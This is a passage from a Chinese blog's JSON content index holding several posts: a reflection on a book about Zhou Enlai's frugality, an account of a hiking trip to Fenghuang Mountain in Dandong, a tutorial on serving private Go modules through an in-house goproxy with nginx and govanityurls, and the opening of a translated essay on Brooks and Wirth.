周恩来非常注重个人形象，在影视图片资料中我们看到的总理总是那么衣冠楚楚，风度翩翩。但只有总理身边人才知晓，这种外在的光鲜的背后是总理的勤俭廉洁，清正律己。\n那时，北京裁缝手艺最好的大约就是红都了。五六十年代，只有外国使馆和中国高级官员才能在那里做衣服，用现在话讲，是中央首长做衣的“指定厂家”。我陪总理来到红都，有关服务人员迎来，见到总理的激动喜悦自不必说，他们都知道总理的衣装关系中国人的形象，将各种高级衣料向总理介绍：“为满足出国人员需要，我们进口了一些英国呢料和澳大利亚毛料，各型各色比较齐全……”总理摇摇头：“不要进口的，要国产的。”服务员马上理解，向总理详细介绍国产衣料。总理向我们交代：“今后我做衣，无论毛料布料，必须用国产的。”\n总理穿衣还有个大讲究，是只有我们这些身边人才知道的，外界难以知晓。就是讲究保密，有时甚至是“严格保密”。从莫斯科到阿尔及尔，从日内瓦到雅加达，许多国家的服务员都知道周恩来总理有个皮箱子，警卫人员看守很严，里边不知藏有多少重大机密或钱财。特别是到第三世界国家，一旦决定给他们援助，有的服务员就指指那箱子，悄悄问我们的同志：“你们援助我们的钱都锁在那个箱子里面吧？”每逢这时，我们只能笑着摇摇头，但马上又感慨万千地点点头，心里别有一番酸涩的滋味。实在说，给他们的每一项援助，都与这个皮箱有着最直接的关系。这其实是总理的行李箱，里边装有他的生活用品。有件睡衣，进城时就穿着，早磨光了绒毛。由于总理睡前有办公习惯，背部着床多，所以那里首先磨薄磨破。先破小洞，我们就动手补，渐渐磨成大洞，补不胜补，就将整个后背换掉。破了再补，补丁摞补丁，一直穿到总理去世他也舍不得买新的。有三双袜子，没一双不带补丁，特别是脚掌部分，几乎每星期都要由我们拿去补一次两次。卫士成习惯了，总理一上床，就检查他的袜子，发现新洞，马上拿走去补，第二天早晨再提着袜子进来交给总理穿。这种情况直到有了尼龙袜子后才稍好些。尼龙袜子结实，不那么容易破。总理的毛巾更不好见人。擦脸巾磨得没了绒毛，渐渐像块纱布，渐渐磨出洞，洞越来越大时，总理就将毛巾从中间剪开，将两边换到中间对缝起来继续用。因为毛巾都是中间使用多，先被磨破，而两边很少磨损。总理的擦脚巾更不好说，是用废纱布缝起来当脚巾，几十年就是这样用着纱布。总理用的牙杯上，印有“保家卫国”字样，这个牙杯用到去世。无须多说，“保家卫国”四个字，就说明了这个杯子的年头和质量。\n总理的内衣内裤，件件补丁摞补丁。因为怕国外有传染病，我们要保证总理的安全，所以他的内衣内裤不能拿到街上去洗。何况总理的内衣裤补丁那么多，拿出去影响未必好。万一是用洗衣机，这样的衣服肯定会被搅破。在家我们可以帮总理洗衣，在国宾馆显然没办法，没法拿出去晾晒，万一被照张相，还不知会引出什么故事来。所以，出国就只能交大使馆，请使馆里的女同志帮忙洗。每逢这时，都是大使夫人亲自动手为总理洗，许多大使夫人都是边洗边哭。记得总理在马里访问时，大使赖亚力的夫人看到总理穿的衣服，有的补丁摞补丁，有的布都糟了，稍一用力就破个洞；所有这些衬衣，只有领口袖口是换了新的，露在外面一圈不会被人发现里面的内衣破旧成什么样。她一边洗一边流眼泪，轻轻喃出几声“总理……”，就是说不出一句完整话。\n作为我们一个六七亿人口的泱泱大国的总理，穿这样破旧的衣服，叫外国服务员看到了会怎么议论？他们不了解我们的国情，和我们的价值观、道德观也不同，难免不理解，所以还是向他们严格保密为好。所以，每天早晨总理一起床，首先由我们的卫士进去，该收的收，该藏的藏，行李箱锁严实了，才放服务员进。到了晚上，总理再休息时，才开锁取出卧具、牙具和衣物。服务员见不到开箱子，自然以为里面都是贵重之物。但是，以总理为代表，中国人民正是这样节俭奋斗，才尽自己所能省出了钱物支援那些第三世界的国家和人民。\n周总理的清正廉洁做的有时候让身边人感觉有些“过分”，他的回答则是：\n“我这样做是不是有点过分？”他像是问我们，又像问自己，带着沉思的表情停顿片刻才又说：“我看不过分。前提是我们国家还一穷二白。这里有两种考虑。六七亿人口的中国，不就是我一个总理吗？再穷也不缺我几身新衣服，何况对外还有个影响问题。这话不是没道理。但我们不能少了另一个考虑：身为六七亿人口大国的总理，我怎样做不是我一个人的事，这表明我提倡什么。六七亿人口是应该提倡节俭，还是现在就不顾国情去追求享受？我更多考虑的是后者。”\n总理公私分明，在解放后，一直坚持私人用车要自费。工资发下后，钱归我管，工资表他一定要过目，就是检查是否扣除了用车费和外出用餐费等。他把看戏、跳舞、到公园散步、到饭店理发算作私事，把去医院看病人、到民主人士家拜访及看望外国朋友这类亦公亦私的事也都算作私事用车，都坚持自费。他乘车的记账，先由我记，后来嫌我记的账有疏漏，转交钟步云记。老钟遇空难后，就直接交由司机杨金明本人记账了。总理说：“你开车你记账，这样不会出现疏漏。”\n小结 能做到“鞠躬尽瘁，死而后已”的中共高级干部中，周恩来一定是做的最好的那个。\n能做到“毫无私心，一心为公”的中共高级干部中，周恩来一定是做的最好的那个。\n如果现在的干部们做到哪怕只有周总理十分之一的程度，中国何愁不更加强大，民族何愁不更早复兴！\n强烈向大家推荐权延赤的《走近周恩来》。同时也给自己一个任务：有机会一定要去周恩来邓颖超纪念馆瞻仰一下伟人的风采。\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/09/15/getting-closer-to-zhou-enlai/","summary":"\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/09/15/getting-closer-to-zhou-enlai\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/09/15/getting-closer-to-zhou-enlai\"\u003ehttps://tonybai.com/2021/09/15/getting-closer-to-zhou-enlai\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e不写书评/读后感，那是没有遇到真正让你内心感动的书\u003c/strong\u003e！\u003c/p\u003e\n\u003cp\u003e实际上我并没有读这本书，而是在连续一周多的驾车途中通过“微信读书”将这本书听完的。\u003c/p\u003e\n\u003cp\u003e虽然是听书，并且听的还是AI机器人的播讲，但书中记录的那份真实且炽热的情感却无法隐匿在AI机器人那稍有些怪异的声线中。几乎每天都有书中的情节让我在途中泪目。\u003c/p\u003e","title":"《走近周恩来》读后感"},{"content":"本文永久链接 – https://tonybai.com/2021/09/07/a-tour-of-phoenix-mountain\n提到东北，人们的第一印象一定是皑皑白雪的世界。东北雪季的冬天的确很美，但对于我这个东北人来说，9-10月份的秋天才是我心目中最美的时节：天高气爽，温度宜人，瓦蓝瓦蓝的天搭配着五颜六色的大地，让人心旷神怡！在这样的季节中，最佳户外活动就是爬山了。\n金秋时节的山是最美丽的，漫山遍野的的植被会随着时间的推移而呈现出不同的颜色：初秋的绿、中秋的红以及深秋的金黄，浸染着人们的心扉。\n这两年由于疫情原因，原本安排的各种亲子游家庭活动无奈取消。这个暑假临近结束的时候，恰逢一波疫情刚刚过去，于是决定和孩子到周边玩一玩，大宝爱爬山，我们就找沈城周边的山。连续两周，先去了棋盘山，又去了马耳山，但这两座山爬起来实在没有啥难度，大宝觉得不过瘾。\n开学第一周，孩子还处于“身心转换”阶段，课业不多，并且是错峰旅游的好时候，于是决定带孩子去一趟辽宁这边最难征服的山峰-丹东凤凰山。2017年十一黄金周我们是去过一次凤凰山的，但由于游客太多，我们连四分之一的路程都没走完就匆匆坐索道下山了。这次去凤凰山也是为了弥补大宝没能登顶的遗憾^_^。二宝太小，由老婆在家照顾，我和大宝自驾出行。\n虽然是错峰，但由于有了上次的“糟糕经历”，我们还是决定早早出发。早上5点，我们的车就驶出了小区大门。秋日的早晨同样是美丽的，并且我们走的是丹阜高速沈阳到凤城段，它号称东北最美高速公路。两侧连绵的群山，各色的植被以及不时出现在前方山顶的“流体雾”都让我们两个半小时的行程显得不是那么单调。\n我们7点半多一些就到达了景区正门，同时这里也是凤凰山的山门。\n买票并补充食物和水后，我们准时从凤凰台出发开始登山。\n为什么喜欢登山？登山本是一种休闲的户外活动，在开发的很好的景区，登山这种户外活动的难度级别不高。在我来看，登山可以满足人类的“征服欲”，提升自信心。对于成年人来说，登山也是一次难得的“放空自己”的机会。对于每天混迹于都市喧嚣中的现代人类来说，呼吸着大山中鲜甜的空气，听听蝉鸣、鸟叫和流水声不失为是一种极致的享受。对于尚未成年的孩子而言，这也是一种“行万里路”的体验：亲近了大自然，磨练了意志，增强了体魄。对于一个家庭而言，登山是一个很好的亲子互动的活动，通过爬山过程与子女的交流互动，增进了了父母与子女之间的相互了解与理解。\n对于我而言，带大宝来爬山，更多是考虑这是一种亲子互动，平时工作较忙，孩子学业较重，少有大段时间相互交流，而爬山是一个很好的机会。大宝喜欢挑战有难度的山峰，我倾向于与孩子有更多亲子互动时间，于是我们确定了此次登山的方式与路线：徒步走全程环线，也就是整个凤凰山景区最远的那条路线。按照景区检票口处的导游图提示，这个路线需要7-8个小时。\n按照爬山攻略的建议，我们从西山景区进入，凤凰山的主要景点以及最险的几处景点都集中在西山景区内。\n一进入景区，就感受到了征服凤凰山的难度，像下图中这种70度以上的路线在景区是既多又长：\n不过，爬山就是这样：征服完一处惊险之地后，大山就会“赐予”你一处美景：\n现在是初秋，山上的植被还没有呈现霜打后的红色，但绿植在阳光的映衬下也是格外养眼。\n凤凰山的地貌与华山很像，险处都是那种光秃秃的山脊，两侧都是悬崖，无依无靠，难怪有东北“小华山”的美誉。\n下图中后面是小牛背景点：\n凤凰山最著名的景点是老牛背，也正是由于太险，这里没有留下经过老牛背时的照片，下面是大宝过老牛背前的照片，从照片中就能感受到老牛背的难度：\n凤凰山景区内有两处以玻璃为支撑的景点，一处是玻璃栈道，一处是玻璃桥。前者较短，由于我轻度恐高，我们选择了体验玻璃栈道：\n老牛背虽然不是景区最高峰，但过了老牛背后，后续景点的难度就有所降低了。\n从黑风口栈道开始，就是一路下山的行程，和一些我们爬过的山不同的是，凤凰山这里的下山栈道绝对属于超级长的，我和大宝在紧贴峭壁的栈道上整整走了2个多小时，直到到达情人谷吊桥才算是结束栈道之旅。\n从情人谷吊桥开始又走了一个多小时才回到凤凰山山门处，此时我的手机显示我今天已经走了36000多步，这是一个破纪录的数字。如果按照一步50厘米计算，我们走了将近20公里。从8点从凤凰台出发到15:40回到山门，我们整整走了7小时40分钟，和导游图中全程环线的估计时间是一样的。\n此行我和大宝都很累，但回程时躺在车里酣睡的大宝表情中所能看出的那种快乐与满足让我睡意全失，心里顿升起一种作为父亲的责任感，于是专心开车并安全将大宝带回了家^_^。\n这次凤凰山登山之旅无疑是成功的，这也是自上次华山之行后最具挑战也是最开心的一次登山活动了。丹东凤凰山景区的硬件条件是十分不错的，如果再增加一些文创方面的运营就更好了，这里强烈推荐大家来凤凰山体验。\n大宝已经和我确定了下一次挑战目标：安徽黄山。不过究竟何时可以实现，还要看国内疫情的情况了。\n下面是我们的登山时刻记录(从西山景区进入，徒步走全程环线)，可供驴友参考：\n8:00 从凤凰台出发 8:40 到达检票口 8:45 到达药王庙 8:52 到达凤凰广场 9:00 到达西山景区入口 9:15 爬过通玄洞 9:43 到达昌龙岭 9:47 到达小牛背 10:00 到达烽火台 10:21 到达罗汉峰 10:39 到达将军峰 11:05 到达老牛背 11:17 到达百步紧 11:37 到达老虎口 11:50 到达箭眼 12:06 到达神马蜂 12:26 到达杜鹃坡 12:35 到达黑风口栈道 13:10 到达玻璃桥 13:34 到达古城栈道 14:24 到达情人谷吊桥 14:42 回到凤凰广场 15:05 回到检票口 15:40 回到山门 我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite ","permalink":"https://tonybai.com/2021/09/07/a-tour-of-phoenix-mountain/","summary":"\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/09/07/a-tour-of-phoenix-mountain\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/09/07/a-tour-of-phoenix-mountain\"\u003ehttps://tonybai.com/2021/09/07/a-tour-of-phoenix-mountain\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e提到东北，人们的第一印象一定是皑皑白雪的世界。东北雪季的冬天的确很美，但对于我这个东北人来说，9-10月份的秋天才是我心目中最美的时节：天高气爽，温度宜人，瓦蓝瓦蓝的天搭配着五颜六色的大地，让人心旷神怡！在这样的季节中，最佳户外活动就是爬山了。\u003c/p\u003e","title":"亲子游之丹东凤凰山"},{"content":"\n本文永久链接 – https://tonybai.com/2021/09/03/the-approach-to-go-get-private-go-module-in-house\n1. 问题来由 Go 1.11版本引入Go module后，Go命令拉取依赖的公共go module不再是“痛点”。如下图所示：\n图：从公司内部经由公共GOPROXY服务拉取公共go module\n我们在公司/组织内部仅需要为环境变量GOPROXY配置一个公共GOPROXY服务即可轻松拉取所有公共go module(公共module即开源module)。\n但随着公司内Go使用者增多以及Go项目的增多，“代码重复”问题就出现了。抽取公共代码放入一个独立的、可被复用的内部私有仓库成为必然。这样我们便有了拉取私有go module的需求！\n一些公司或组织的所有代码都放在公共vcs托管服务商那里(比如github.com)，私有go module则直接放在对应的公共vcs服务的private repository(私有仓库)中。如果你的公司也是如此，那么拉取托管在公共vcs私有仓库中的私有go module也很容易，见下图：\n图：从公司内部直接拉取托管在公共vcs服务上的私有go module\n当然这个方案的一个前提是：每个开发人员都需要具有访问公共vcs服务上的私有go module仓库的权限，凭证的形式不限，可以是basic auth的user和password，也可以是personal access token(类似github那种)，只要按照公共vcs的身份认证要求提供即可。\n但是如果私有go module放在公司内部的vcs服务器上，就像下面图中所示：\n图：私有go module放在组织/公司内部的vcs服务器上\n那么我们该如何让Go命令自动拉取内部服务器上的私有go module呢？\n一些gopher会说：“这很简单啊! 这和拉取托管在公共vcs服务上的私有go module没有什么分别啊”。持这种观点的gopher多半来自大厂。大厂内部有完备的IT基础设施供开发使用，大厂内部的vcs服务器都可以通过域名访问(比如git.bat.com/user/repo)，因此大厂内部员工可以像访问公共vcs服务那样访问内部vcs服务器上的私有go module，就像下面图中所示：\n图：大厂方案：直接拉取内部vcs仓库上的私有go module\n我们看到：在上面这个方案中，公司搭建了一个内部goproxy服务(即上图中的in-house goproxy)，这样的目的一来是为那些无法直接访问外网的开发机器以及ci机器提供拉取外部go module的途径，二来由于in-house goproxy的cache的存在，还可以加速公共go module的拉取效率。对于私有go module，开发机将其配置到GOPRIVATE环境变量中，这样Go命令在拉取私有go module时不会再走GOPROXY，而会采用直接访问vcs(如上图中的git.bat.com)的方式拉取私有go module。\n当然大厂还可能采用下图所示方案将外部go module与私有go module都交给内部统一的Goproxy服务去处理：\n图：大厂方案: 统一代理方案\n在这种方案中，开发者仅需要将GOPROXY配置为in-house goproxy便可以统一拉取外部go module与私有go module。但由于go命令默认会对所有通过goproxy拉取的go module进行sum校验（到sum.golang.org)，而我们的私有go module在公共sum验证server中没有数据记录，因此，开发者需要将私有go module填到GONOSUMDB环境变量中，这样go命令就不会对其进行sum校验了。不过这种方案有一处要注意：那就是in-house goproxy需要拥有对所有private module所在repo的访问权限，这样才能保证每个私有go module的拉取成功！\n好了，问题来了！对于那些没有完备内部IT基础设施，还想将私有go module放在公司内部的vcs服务器上的小厂应该如何实现私有go module的拉取方案呢？\n2. 可供小厂参考的一个解决方案 小厂虽小，但目标不能低。小厂虽然IT基础设施薄弱或不够灵活，但也不能因此给开发人员带去太多额外的“负担”。因此，对比了上面的两个大厂可能采用的方案，我们更倾向于后者。这样，我们就可以将所有复杂性都交给in-house goproxy这个节点，开发人员就可以做的足够简单。但小厂没有DNS，无法用域名…，我们该怎么实现这个方案呢？在这一节中，我们就实现这个方案。\n0. 方案示例环境拓扑 我们先为后续的方案实现准备一个示例环境，其拓扑如下图：\n1. 选择一个goproxy实现 Go module proxy协议规范发布后，Go社区出现了很多成熟的Goproxy开源实现。从最初的athens，再到国内的两个优秀的开源实现：goproxy.cn和goproxy.io。其中，goproxy.io在官方站点给出了企业内部部署的方法，基于这一点，我们就基于goproxy.io来实现我们的方案（其余的goproxy实现应该也都可以实现)。\n我们在上图中的in-house goproxy节点上执行下面步骤安装goproxy：\n$mkdir ~/.bin/goproxy $cd ~/.bin/goproxy $git clone https://github.com/goproxyio/goproxy.git $cd goproxy $make 编译后，会在当前的bin目录(~/.bin/goproxy/goproxy/bin)下看到名为goproxy的可执行文件。\n建立goproxy cache目录：\n$mkdir /root/.bin/goproxy/goproxy/bin/cache 启动goproxy：\n$./goproxy -listen=0.0.0.0:8081 -cacheDir=/root/.bin/goproxy/goproxy/bin/cache -proxy https://goproxy.io goproxy.io: ProxyHost https://goproxy.io 启动后goproxy在8081端口监听(即便不指定，goproxy的默认端口也是8081)，指定的上游goproxy服务为goproxy.io。\n注意：goproxy的这个启动参数并不是最终版本的，这里仅仅想验证一下goproxy是否能按预期工作。\n接下来，我们来验证一下goproxy的工作是否如我们预期。\n我们在开发机上配置GOPROXY环境变量指向10.10.20.20:8081：\n// .bashrc export GOPROXY=http://10.10.20.20:8081 生效环境变量后，执行下面命令：\n$go get github.com/pkg/errors 结果如预期，开发机顺利下载了github.com/pkg/errors包。\n在goproxy侧，我们看到了下面日志：\ngoproxy.io: ------ --- /github.com/pkg/@v/list [proxy] goproxy.io: ------ --- /github.com/pkg/errors/@v/list [proxy] goproxy.io: ------ --- /github.com/@v/list [proxy] goproxy.io: 0.146s 404 /github.com/@v/list goproxy.io: 0.156s 404 /github.com/pkg/@v/list goproxy.io: 0.157s 200 /github.com/pkg/errors/@v/list 并且在goproxy的cache目录下，我们也看到了下载并缓存的github.com/pkg/errors包：\n$cd /root/.bin/goproxy/goproxy/bin/cache $tree . └── pkg └── mod └── cache └── download └── github.com └── pkg └── errors └── @v └── list 8 directories, 1 file 2. 自定义包导入路径并将其映射到内部的vcs仓库 小厂可能没有为vcs服务器分配域名，我们也不能在Go私有包的导入路径中放入ip地址，因此我们需要给我们的私有go module自定义一个路径，比如：mycompany.com/go/module1。我们统一将私有go module放在mycompany.com/go下面的代码仓库中。\n接下来的问题是，当goproxy去拉取mycompany.com/go/module1时，应该得到mycompany.com/go/module1对应的内部vcs上module1 仓库的地址，这样goproxy才能从内部vcs代码服务器上下载到module1对应的代码。\n图：goproxy如何得到mycompany.com/go/module1所对应的vcs仓库地址呢？\n其实方案不止一种。这里我们使用一个名为govanityurls的工具，这个工具在我以前的文章中曾提到过。\n结合govanityurls和nginx，我们就可以将私有go module的导入路径映射为其在vcs上的代码仓库的真实地址。下面的图解释了具体原理：\n首先，goproxy要想将收到的拉取私有go module(mycompany.com/go/module1)的请求不转发给公共代理，需要在其启动参数上做一些手脚，如下面修改后的goproxy启动命令：\n$./goproxy -listen=0.0.0.0:8081 -cacheDir=/root/.bin/goproxy/goproxy/bin/cache -proxy https://goproxy.io -exclude \u0026#34;mycompany.com/go\u0026#34; 这样凡是与-exclude后面的值匹配的go module拉取请求，goproxy都不会转给goproxy.io，而是直接请求go module的“源站”。而上面图中要做的就是将这个“源站”的地址转换为企业内部vcs服务中的一个仓库地址。由于mycompany.com这个域名并不存在，从图中我们看到：我们在goproxy所在节点的/etc/hosts中加了这样一条记录：\n127.0.0.1 mycompany.com 这样goproxy发出的到mycompany.com的请求实则是发向了本机。而上图中所示，监听本机80端口的正是nginx，nginx关于mycompany.com这一主机的配置如下：\n// /etc/nginx/conf.d/gomodule.conf server { listen 80; server_name mycompany.com; location /go { proxy_pass http://127.0.0.1:8080; proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; } } 我们看到对于路径为mycompany.com/go/xxx的请求，nginx将请求转发给了127.0.0.1:8080，而这个服务地址恰是govanityurls工具监听的地址。\ngovanityurls这个工具是前Go核心开发团队成员Jaana B.Dogan开源的一个工具，这个工具可以帮助gopher快速实现自定义Go包的go get导入路径。\ngovanityurls本身就好比一个“导航”服务器。当go命令向自定义包地址发起请求时，实则是将请求发送给了govanityurls服务，之后govanityurls将请求中的包所在仓库的真实地址(从vanity.yaml配置文件中读取)返回给go命令，后续go命令再从真实的仓库地址获取包数据。\n注：govanityurls的安装方法很简单，直接go install/go get github.com/GoogleCloudPlatform/govanityurls即可。\n在我们的示例中，vanity.yaml的配置如下：\nhost: mycompany.com paths: /go/module1: repo: ssh://admin@10.10.30.30/module1 vcs: git 也就是说当govanityurls收到nginx转发的请求后，会将请求与vanity.yaml中配置的module路径相匹配，如果匹配ok，则会将该module的真实repo地址通过go命令期望的应答格式予以返回。在这里我们看到，module1对应的真实vcs上的仓库地址为：ssh://admin@10.10.30.30/module1。\n于是goproxy会收到这个地址，并再次向这个真实地址发起请求，并最终将module1缓存到本地cache并返回给客户端。\n注意：由于这个方案与大厂的第二个方案是一样的，因此goproxy需要有访问mycompany.com/go下面所有go module对应的真实vcs仓库的权限。\n3. 开发机(客户端)的设置 前面示例中，我们已经将开发机的GOPROXY环境变量设置为goproxy的服务地址。但我们说过凡是通过GOPROXY拉取的go module，go命令默认都会将其sum值到公共GOSUM服务器上去校验。但我们实质上拉取的是私有go module，GOSUM服务器上并没有我们的go module的sum数据。这样会导致go build命令报错，无法继续构建过程。\n因此，开发机客户端还需将mycompany.com/go作为一个值设置到GONOSUMDB环境变量中，这就告诉go命令，凡是与mycompany.com/go匹配的go module，都无需做sum校验了。\n4. 方案的“不足” 当然上述方案也不是完美的，它也有自己的不足的地方：\n开发者还是需要额外配置GONOSUMDB变量 由于Go命令默认会对从GOPROXY拉取的go module进行sum校验，因此我们需要将私有go module配置到GONOSUMDB环境变量中，这给开发者带来了一个小小的“负担”。\n缓解措施：小厂可以将私有go项目都放在一个特定域名下，这样就无需为每个go私有项目单独增加GONOSUMDB配置了，只需要配置一次即可。\n新增私有go module，vanity.yaml需要手工同步更新 这个是这个方案最不灵活的地方了，由于目前govanityurls功能有限，我们针对每个私有go module可能都需要单独配置其对应的vcs仓库地址以及获取方式(git, svn or hg)。\n缓解方案：在一个vcs仓库中管理多个私有go module，就像etcd那样。相比于最初go官方建议的一个repo只管理一个module，新版本的go在一个repo管理多个go module方面已经有了长足的进步。\n不过对于小厂来说，这点额外工作与得到的收益相比，应该也不算什么！^_^\n无法划分权限 在上面的方案说明时也提到过，goproxy所在节点需要具备访问所有私有go module所在vcs repo的权限，但又无法对go开发者端做出有差别授权，这样只要是goproxy能拉取到的私有go module，go开发者都能拉取到。\n不过对于多数小厂而言，内部所有源码原则上都是企业内部公开的，这个问题似乎也不大。如果觉得这是个问题，那么只能使用上面的大厂的第一个方案了。\n3. 小结 无论大厂小厂，当对Go的使用逐渐深入后，接纳的人增多，开发的项目增多且越来越复杂后，拉取私有go module这样的问题肯定会摆到桌面上来。\n对于大厂的gopher来说，这可能不是问题，甚至对他们都是透明的。但对于小厂等内部IT基础设施不完备的组织而言，的确需要自己动手解决。\n这篇文章为小厂搭建Go私有库以及从私有库拉取私有go module提供了一个思路以及一个参考实现。\n如果觉得上面的安装配置步骤有些繁琐，有兴趣深入的朋友可以将上述几个程序(goproxy, nginx, govanityurls)打到一个容器镜像中，实现一键安装设置。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/09/03/the-approach-to-go-get-private-go-module-in-house/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/the-approach-to-go-get-private-go-module-in-house-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/09/03/the-approach-to-go-get-private-go-module-in-house\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/09/03/the-approach-to-go-get-private-go-module-in-house\"\u003ehttps://tonybai.com/2021/09/03/the-approach-to-go-get-private-go-module-in-house\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"1-问题来由\"\u003e1. 问题来由\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://mp.weixin.qq.com/s?__biz=MzIyNzM0MDk0Mg%3D%3D\u0026amp;mid=100000482\u0026amp;idx=1\u0026amp;sn=b5a588b8b4cd63ac57b29ee6e64438aa\u0026amp;chksm=6863e5035f146c152ae2a7460dea924df4b14a56bbcbee1966934abed3fcfd492bc6f56928b2#rd\"\u003eGo 1.11版本\u003c/a\u003e引入\u003ca href=\"https://tonybai.com/tag/gomodule\"\u003eGo module\u003c/a\u003e后，Go命令拉取依赖的公共go module不再是“痛点”。如下图所示：\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/the-approach-to-go-get-private-go-module-in-house-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e图：从公司内部经由公共GOPROXY服务拉取公共go module\u003c/p\u003e","title":"小厂内部私有Go module拉取方案"},{"content":"\n本文永久链接 – https://tonybai.com/2021/08/25/brooks-wirth-and-go\n本文翻译自瑞典程序员Fredrik Holmqvist的博客文章《Brooks, Wirth and Go》。\n现在是1975年。\n程序员们带着FORTRAN代码回来了，不过使用的是穿孔卡片的形式。\n图：记录代码的穿孔卡片(图片来自punchcardreader.com，译者加)\n这些穿孔卡片被小心翼翼的送进大型机，它们被输入、读取、编译、链接并由计算机执行。当得到“文件名称规格错误”这个结果时，时间已经过去了两个多星期了。在这个阶段，很多人参与了代码的编写与制作并消耗了几周的工作时间。\n与此同时，另一个用Smalltalk和Interlisp编程的工程师正直接在一个控制台中编写并运行他的实现。几秒钟后，他得到了程序的运行结果。接下来，他就在那里修复了错误并完成了这个任务。\n上述这两种方法在周转时间上的差异是四个数量级。\n忘了“10倍程序员(10X programmer)”吧，“10000倍程序员(10000X programmer)”怎么样？\n由于现代计算机的硬件已经发展到比将人类送上月球的计算机快几千亿倍，这些类型的差异已经急剧缩小了。那些即使是简单计算也要等待几个小时出结果的分时的日子已经一去不复返了。即使是手机也足够强大，可以完成人类在20世纪的所有计算结果。\n图：摩尔定律(图片来自wikipedia，译者加)\n但软件却可能没有这么大的进步。可以说，自ALGOL 68以来，在解决软件危机方面没有发生什么。也许更糟糕的是，我们（集体）从那个时代的巨头那里学到的东西太少。我想举例说明这些巨头中的两位，以及他们可以教给我们的经验。\n弗雷德里克·布鲁克斯 1964年，IBM宣布了其迄今为止最雄心勃勃的项目：IBM 360。该项目由Gene Amdahl负责设计，弗雷德里克·布鲁克斯(Frederick Brooks)负责管理。\n这是世界上第一台真正的可编程大型计算机，开启了计算机可以被重新编程以适应新问题的概念，而不是被更新的模型所取代。该系统结构引入了许多我们今天仍在使用的标准，如8位字节、32位字(word)等。\n也许更有趣的是这个项目本身。该项目……比最初想象的要昂贵得多。它将预算提高了200倍：从2500万美元提高到50亿美元。要知道，当时作为美国国家核武器研究的曼哈顿项目的预算才仅为20亿美元。\n该项目遇到了你能想到的所有开发和管理问题。\n多年以后，布鲁克斯决定，回答”为什么软件项目经常出错”这个问题的最好方法是把他的经验和IBM的教训写成一本书。那本书就是现在传说中的《人月神话》。\n图：《人月神话》(译者加)\n这也许是关于软件管理的最佳读物之一。其中有一篇文章是“没有银弹(No Silver 